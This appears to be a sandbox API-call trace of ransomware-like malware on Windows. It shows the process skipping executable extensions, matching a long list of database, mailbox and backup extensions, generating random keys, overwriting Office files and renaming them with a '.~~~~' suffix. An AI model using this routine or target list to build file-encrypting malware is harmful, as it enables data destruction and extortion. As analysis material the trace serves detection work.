	[0135.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399ba8
	[0135.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4f50
	[0135.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ba8 | out: hHeap=0x300000) returned 1
	[0135.195] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0135.195] GetLastError () returned 0x0
	[0135.195] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0135.195] GetLastError () returned 0x0
	[0135.316] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.316] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0135.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.317] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.317] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.318] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.318] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.318] CloseHandle (hObject=0x114) returned 1
	[0135.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0135.319] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll.~~~~")) returned 1
	[0135.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a85f8 | out: hHeap=0x300000) returned 1
	[0135.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0135.321] GetLastError () returned 0x0
	[0135.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".scr") returned 0x0
	[0135.322] lstrlenW (lpString=".cmd") returned 4
	[0135.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".cmd") returned 0x0
	[0135.322] lstrlenW (lpString=".dll") returned 4
	[0135.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".dll") returned 0x0
	[0135.322] lstrlenW (lpString=".bat") returned 4
	[0135.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".bat") returned 0x0
	[0135.322] lstrlenW (lpString=".cpl") returned 4
	[0135.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".cpl") returned 0x0
	[0135.322] lstrlenW (lpString=".sys") returned 4
	[0135.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".sys") returned 0x0
	[0135.322] lstrlenW (lpString=".msc") returned 4
	[0135.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".msc") returned 0x0
	[0135.322] lstrlenW (lpString=".com") returned 4
	[0135.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".com") returned 0x0
	[0135.322] lstrlenW (lpString=".lnk") returned 4
	[0135.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".lnk") returned 0x0
	[0135.322] lstrlenW (lpString=".msp") returned 4
	[0135.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".msp") returned 0x0
	[0135.322] lstrlenW (lpString=".pif") returned 4
	[0135.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".pif") returned 0x0
	[0135.323] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0135.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0135.325] lstrlenW (lpString=".sqb") returned 4
	[0135.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".sqb") returned 0x0
	[0135.325] lstrlenW (lpString=".ost") returned 4
	[0135.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".ost") returned 0x0
	[0135.325] lstrlenW (lpString=".txt") returned 4
	[0135.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".txt") returned 0x0
	[0135.325] lstrlenW (lpString=".mdt") returned 4
	[0135.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".mdt") returned 0x0
	[0135.325] lstrlenW (lpString=".BDB") returned 4
	[0135.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".BDB") returned 0x0
	[0135.325] lstrlenW (lpString=".eql") returned 4
	[0135.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".eql") returned 0x0
	[0135.325] lstrlenW (lpString=".DBF") returned 4
	[0135.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".DBF") returned 0x0
	[0135.325] lstrlenW (lpString=".EQL") returned 4
	[0135.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".EQL") returned 0x0
	[0135.325] lstrlenW (lpString=".FDB") returned 4
	[0135.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".FDB") returned 0x0
	[0135.326] lstrlenW (lpString=".EDB") returned 4
	[0135.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".EDB") returned 0x0
	[0135.326] lstrlenW (lpString=".DACPAC") returned 7
	[0135.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0135.326] lstrlenW (lpString=".VHD") returned 4
	[0135.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".VHD") returned 0x0
	[0135.326] lstrlenW (lpString=".DBV") returned 4
	[0135.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".DBV") returned 0x0
	[0135.326] lstrlenW (lpString=".dacpac") returned 7
	[0135.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0135.326] lstrlenW (lpString=".sdf") returned 4
	[0135.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".sdf") returned 0x0
	[0135.326] lstrlenW (lpString=".accdb") returned 6
	[0135.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".accdb") returned 0x0
	[0135.326] lstrlenW (lpString=".DBX") returned 4
	[0135.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".DBX") returned 0x0
	[0135.326] lstrlenW (lpString=".MDT") returned 4
	[0135.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".MDT") returned 0x0
	[0135.326] lstrlenW (lpString=".SQB") returned 4
	[0135.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".SQB") returned 0x0
	[0135.327] lstrlenW (lpString=".vhd") returned 4
	[0135.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".vhd") returned 0x0
	[0135.327] lstrlenW (lpString=".bac") returned 4
	[0135.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".bac") returned 0x0
	[0135.327] lstrlenW (lpString=".mdf") returned 4
	[0135.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".mdf") returned 0x0
	[0135.327] lstrlenW (lpString=".BAK") returned 4
	[0135.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".BAK") returned 0x0
	[0135.327] lstrlenW (lpString=".BAC") returned 4
	[0135.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".BAC") returned 0x0
	[0135.327] lstrlenW (lpString=".dbs") returned 4
	[0135.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".dbs") returned 0x0
	[0135.327] lstrlenW (lpString=".vhdx") returned 5
	[0135.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0135.327] lstrlenW (lpString=".NDF") returned 4
	[0135.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".NDF") returned 0x0
	[0135.327] lstrlenW (lpString=".dat") returned 4
	[0135.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".dat") returned 0x0
	[0135.327] lstrlenW (lpString=".DBS") returned 4
	[0135.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".DBS") returned 0x0
	[0135.328] lstrlenW (lpString=".CKP") returned 4
	[0135.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".CKP") returned 0x0
	[0135.328] lstrlenW (lpString=".edb") returned 4
	[0135.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".edb") returned 0x0
	[0135.328] lstrlenW (lpString=".PST") returned 4
	[0135.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".PST") returned 0x0
	[0135.328] lstrlenW (lpString=".dbf") returned 4
	[0135.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".dbf") returned 0x0
	[0135.328] lstrlenW (lpString=".SQL") returned 4
	[0135.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".SQL") returned 0x0
	[0135.328] lstrlenW (lpString=".pst") returned 4
	[0135.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".pst") returned 0x0
	[0135.328] lstrlenW (lpString=".dbv") returned 4
	[0135.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".dbv") returned 0x0
	[0135.328] lstrlenW (lpString=".SDF") returned 4
	[0135.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".SDF") returned 0x0
	[0135.328] lstrlenW (lpString=".dtxs") returned 5
	[0135.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0135.328] lstrlenW (lpString=".db3") returned 4
	[0135.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".db3") returned 0x0
	[0135.329] lstrlenW (lpString=".OST") returned 4
	[0135.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".OST") returned 0x0
	[0135.329] lstrlenW (lpString=".dbx") returned 4
	[0135.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".dbx") returned 0x0
	[0135.329] lstrlenW (lpString=".DB3") returned 4
	[0135.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".DB3") returned 0x0
	[0135.329] lstrlenW (lpString=".DAT") returned 4
	[0135.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".DAT") returned 0x0
	[0135.329] lstrlenW (lpString=".VHDX") returned 5
	[0135.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0135.329] lstrlenW (lpString=".ndf") returned 4
	[0135.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".ndf") returned 0x0
	[0135.329] lstrlenW (lpString=".DB") returned 3
	[0135.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".DB") returned 0x0
	[0135.329] lstrlenW (lpString=".sql") returned 4
	[0135.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".sql") returned 0x0
	[0135.329] lstrlenW (lpString=".MYD") returned 4
	[0135.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".MYD") returned 0x0
	[0135.330] lstrlenW (lpString=".DBT") returned 4
	[0135.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".DBT") returned 0x0
	[0135.330] lstrlenW (lpString=".ACCDB") returned 6
	[0135.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0135.330] lstrlenW (lpString=".fdb") returned 4
	[0135.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".fdb") returned 0x0
	[0135.330] lstrlenW (lpString=".bak") returned 4
	[0135.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".bak") returned 0x0
	[0135.330] lstrlenW (lpString=".myd") returned 4
	[0135.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".myd") returned 0x0
	[0135.330] lstrlenW (lpString=".DTXS") returned 5
	[0135.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0135.330] lstrlenW (lpString=".ckp") returned 4
	[0135.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".ckp") returned 0x0
	[0135.330] lstrlenW (lpString=".dbt") returned 4
	[0135.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".dbt") returned 0x0
	[0135.330] lstrlenW (lpString=".db") returned 3
	[0135.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".db") returned 0x0
	[0135.330] lstrlenW (lpString=".TXT") returned 4
	[0135.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".TXT") returned 0x0
	[0135.330] lstrlenW (lpString=".MDF") returned 4
	[0135.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".MDF") returned 0x0
	[0135.331] lstrlenW (lpString=".bdb") returned 4
	[0135.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".bdb") returned 0x0
	[0135.331] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0135.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.331] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0488) returned 1
	[0135.332] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.332] CryptReleaseContext (hProv=0x3a0488, dwFlags=0x0) returned 1
	[0135.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0135.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0135.333] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25532267004) returned 1
	[0135.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xba1b1890, dwHighDateTime=0x1d60e1e)) 
	[0135.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0135.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0135.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0135.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28250f0
	[0135.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28250f0 | out: hHeap=0x300000) returned 1
	[0135.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0135.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.334] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0135.334] GetLastError () returned 0x0
	[0135.334] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0135.334] GetLastError () returned 0x0
	[0135.336] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff35, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.336] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xcb, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xcb, lpOverlapped=0x0) returned 1
	[0135.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.337] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.337] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.337] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.337] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.337] CloseHandle (hObject=0x114) returned 1
	[0135.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0135.337] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.~~~~")) returned 1
	[0135.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a85f8 | out: hHeap=0x300000) returned 1
	[0135.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0135.347] GetLastError () returned 0x0
	[0135.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0135.347] lstrlenW (lpString=".cmd") returned 4
	[0135.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0135.347] lstrlenW (lpString=".dll") returned 4
	[0135.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0135.348] lstrlenW (lpString=".bat") returned 4
	[0135.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0135.348] lstrlenW (lpString=".cpl") returned 4
	[0135.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0135.348] lstrlenW (lpString=".sys") returned 4
	[0135.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0135.348] lstrlenW (lpString=".msc") returned 4
	[0135.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0135.348] lstrlenW (lpString=".com") returned 4
	[0135.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".com") returned 0x0
	[0135.348] lstrlenW (lpString=".lnk") returned 4
	[0135.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0135.348] lstrlenW (lpString=".msp") returned 4
	[0135.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0135.348] lstrlenW (lpString=".pif") returned 4
	[0135.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0135.348] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
